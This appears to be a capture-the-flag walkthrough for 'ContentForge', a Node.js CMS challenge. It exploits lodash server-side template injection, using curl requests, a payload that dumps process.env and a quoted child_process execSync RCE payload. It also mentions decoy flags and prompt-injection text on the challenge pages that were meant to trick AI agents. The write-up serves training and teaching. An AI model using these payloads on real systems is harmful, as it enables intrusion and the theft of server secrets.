ContentForge
ContentForge
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure
Summary
Walkthrough of the CUSTOM Web ContentForge. Task: ContentForge headless CMS with editable email templates using lodash template engine, server-side rendered via preview API. Solution: Bypass input filter (which blocks require/execSync but not p
Description
ContentForge is a headless CMS platform built with Node.js that provides content management, user administration, and customizable email notifications. The platform includes an admin panel where administrators can manage content types, media assets, user accounts, and notification settings. As a security researcher, you've been given access to the ContentForge admin panel. Your task is to explore the platform's functionality and find a way to read a secret flag stored on the server. Pay close attention to how the application processes user-controlled input — particularly in features that involve server-side rendering or template evaluation.
English summary: A Node.js/Express headless CMS (ContentForge v2.4.1) behind nginx/1.25.5 with an admin panel featuring customizable email templates. Templates use lodash syntax (<%= expression %>) and are rendered server-side via a preview API. The goal is to exploit Server-Side Template Injection (SSTI) to read a flag stored in environment variables. Credentials provided: admin@contentforge.io / Admin123!.
Analysis
Reconnaissance
After authenticating at /admin with admin@contentforge.io / Admin123!, the application revealed:
-
Stack identification: Express.js behind nginx/1.25.5 (X-Powered-By: Express), ContentForge v2.4.1.
-
Email Templates feature at Settings → Email Templates (
/admin/settings/email-templates): Three editable templates — Email Confirmation, Password Reset, Welcome Email — all using lodash template syntax (<%= expression %>). -
Template help guide explicitly states: "Templates are rendered server-side using the lodash template engine" — this is a direct hint at SSTI.
-
Client-side JS at
/js/email-templates.jsrevealed the API surface:
| Endpoint | Method | Purpose |
|---|---|---|
/api/settings/email-templates/{slug} | GET | Load template content |
/api/settings/email-templates/{slug} | PUT | Save/update template |
/api/settings/email-templates/{slug}/preview | POST | Preview template (server-side render) |
- Decoy flags: Every HTML page contained a honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML elements, HTML comments, and prompt injection text designed to trick AI agents. These were identified and ignored.
Key Vulnerability
Lodash's _.template() function compiles template strings into JavaScript functions. The <%= expression %> syntax evaluates arbitrary JavaScript expressions in the Node.js server context. The application applies a server-side filter that blocks common RCE patterns like require(), execSync(), child_process, etc., but fails to block access to Node.js globals like process, process.env, global, and JSON.
Filter Bypass Analysis
| Payload | Result |
|---|---|
<%= global.process.mainModule.require("child_process").execSync("id").toString() %> | BLOCKED — "Template contains blocked expressions" |
<%= process.env %> | ALLOWED — returned [object Object] |
<%= JSON.stringify(process.env) %> | ALLOWED — returned full env dump including FLAG |
| |
The filter uses pattern matching for dangerous function calls (require, execSync, spawn, etc.) but does not restrict property access on built-in globals. Since process.env is a plain object property access (no function call to a blocked name), it passes the filter.
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -c cookies.txt -X POST https://TARGET/admin/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@contentforge.io","password":"Admin123!"}'
Step 2: Identify the SSTI vector
Navigated to Settings → Email Templates and found three editable templates using lodash syntax. The template help guide confirmed server-side rendering with lodash.
Step 3: Test basic expression evaluation
Saved a template with a simple process.env access:
bash read-only • copy allowedcurl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \ -H "Content-Type: application/json" \ -d '{"body":"<%= process.env %>"}'
Previewed the template:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview
Response returned [object Object] — confirming process.env is accessible and the expression is evaluated server-side.
Step 4: Dump environment variables
Updated the template with JSON.stringify() to serialize the full environment:
bash read-only • copy allowedcurl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \ -H "Content-Type: application/json" \ -d '{"body":"<%= JSON.stringify(process.env) %>"}'
Previewed:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview
The response contained the full environment variable dump, including:
json read-only • copy allowed{ "NODE_ENV": "production", "FLAG": "FLAG{REDACTED}", ... }
Step 5: Blocked RCE attempt (for reference)
The direct RCE payload was blocked by the server-side filter:
<%= global.process.mainModule.require("child_process").execSync("id").toString() %>
Response: "Template contains blocked expressions. Only variable interpolation (<%= VAR %>) is allowed."
This confirms the filter catches require(), execSync(), and similar patterns but misses process.env property access.
Key Takeaways / Lessons
- Mastering decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • ContentForge • Difficulty: Medium